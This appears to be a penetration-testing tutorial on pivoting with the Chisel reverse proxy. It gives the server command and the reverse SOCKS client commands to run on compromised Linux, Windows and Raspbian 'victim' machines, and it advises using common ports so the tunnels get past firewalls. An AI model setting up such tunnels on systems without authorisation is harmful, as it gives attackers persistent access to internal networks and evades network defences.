Chisel Reverse Proxy: Pivoting Networks

Welcome, today I will talk about Pivoting with Chisel Reverse Proxy, in this tutorial we will get a reverse shell from each machine on the pentester machine. I assume you already gain access to all machines and you want to keep access to all networks. In case you need to install our tool visit chisel github page.

After we have all connections on our machine we will be able to scan each subnet using one port for each network using proxychains with dynamic chains and DNS resolution through our proxies. Using DNS resolution will be helpful to interact with a Domain Controller if we need it.

Pentester Machine

chisel server -p 8001 --reverse -v --keepalive 5s --socks5 25000
Server ParametersExplanation
-p 8001Port to start Listening
–reverseAllow client to create reverse connections
–socks5 25000Allow clients to create Socks5 proxies on port 25000
–keepalive 5sSend keep-alive packets to clients each 5 seconds
-vVerbose mode is great for troubleshooting and verifying new connections

Victim 1 – Linux Machine

chisel client 192.168.1.72 8001 --reverse R:socks:2000

Server ParametersExplanation
192.168.1.72The IP address from our chisel server.
8001Port from our chisel server.
–reverseCreate a reverse proxy to chisel server
R:socks:2000Remote Socks5 on port 2000, chisel server will start listening on port 2000
vi /etc/proxychains4.conf

Why port 2000?

I use it as an example to keep it simple, in the real world you want to use some common ports like 80,53,443,8080 usually, these ports are opened on network firewalls.

Victim 2 – Windows Server

chisel client 192.168.1.72 8001 --reverse R:socks:2001

Victim 3 – Raspbian

chisel client 192.168.1.72 8001 --reverse R:socks:2002
